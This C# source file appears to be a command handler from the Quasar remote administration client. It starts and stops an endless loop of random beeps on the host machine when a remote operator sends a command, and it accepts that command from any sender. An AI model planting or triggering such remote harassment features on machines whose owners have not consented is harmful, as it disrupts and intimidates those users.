using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class BeepSpamHandler : IMessageProcessor
    {
        private Thread _thread;
        private volatile bool _running;
        private readonly Random _rng = new Random();

        public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoStartBeepSpam) Start();
            else if (message is DoStopBeepSpam) Stop();
        }

        private void Start()
        {
            if (_running) return;
            _running = true;
            _thread = new Thread(BeepLoop) { IsBackground = true };
            _thread.Start();
        }

        private void Stop()
        {
            _running = false;
        }

        private void BeepLoop()
        {
            while (_running)
            {
                int freq = _rng.Next(200, 3000);
                int dur  = _rng.Next(30, 220);
                try { Console.Beep(freq, dur); } catch { }
                if (!_running) break;
                Thread.Sleep(_rng.Next(0, 150));
            }
        }
    }
}
